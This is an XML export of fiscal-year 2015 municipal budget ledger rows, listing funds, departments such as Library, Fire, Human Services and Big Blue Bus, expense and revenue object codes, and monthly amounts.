<row _id="14379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>401104.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>401104.0</total></row>
<row _id="14381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20900.0</total></row>
<row _id="14383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>37735.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37735.0</total></row>
<row _id="14385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="14386"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14387"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522313.0</object><object_description>OFFICE SUPPLIES-LIT GRANT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14388"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522541.0</object><object_description>ADVERTISTING-LIT GRANT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14389"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="14390"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>401020.0</object><object_description>ELECTION-SMUSD/SMCCD/RC</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="14391"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>44603.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44603.0</total></row>
<row _id="14392"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>23556.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23556.0</total></row>
<row _id="14393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="14394"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>813.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>813.0</total></row>
<row _id="14395"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="14396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11504.0</total></row>
<row _id="14397"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1029.0</total></row>
<row _id="14398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1059.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1059.0</total></row>
<row _id="14399"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561101.0</object><object_description>CLARE FOUND-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>115205.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115205.0</total></row>
<row _id="14400"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561161.0</object><object_description>STEP UP-SANTUARY-GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>121084.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>121084.0</total></row>
<row _id="14401"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522976.0</object><object_description>LNG FUEL TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>370000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>370000.0</total></row>
<row _id="14402"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18717.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18717.0</total></row>
<row _id="14403"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400681.0</object><object_description>EMS REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1015413.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1015413.0</total></row>
<row _id="14404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400682.0</object><object_description>MEDICAL SUPPLIES REIMBURSEMENT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-88025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-88025.0</total></row>
<row _id="14405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>131653.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>131653.0</total></row>
<row _id="14406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511742.0</object><object_description>MEDICAL - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2250416.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2250416.0</total></row>
<row _id="14407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>128449.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>128449.0</total></row>
<row _id="14408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577080.0</object><object_description>TMP FEES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-597147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-597147.0</total></row>
<row _id="14409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="14410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="14411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407410.0</object><object_description>CONSTRUCTION &amp; DEMOLITION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-620000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-620000.0</total></row>
<row _id="14412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>60236.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60236.0</total></row>
<row _id="14414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>35319.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35319.0</total></row>
<row _id="14417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2154.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2154.0</total></row>
<row _id="14418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26642.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26642.0</total></row>
<row _id="14419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407501.0</object><object_description>CAPITAL GRANTS-MISC PROJ-TDA</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2015</fiscal_year><july>-12156727.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12156727.0</total></row>
<row _id="14420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407512.0</object><object_description>CAPITAL GRANTS-REV EQP-PROP A</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2015</fiscal_year><july>-6763405.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6763405.0</total></row>
<row _id="14421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>273441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>273441.0</total></row>
<row _id="14423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>587357.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>587357.0</total></row>
<row _id="14424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4981.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4981.0</total></row>
<row _id="14425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5640.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5640.0</total></row>
<row _id="14426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2917.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2917.0</total></row>
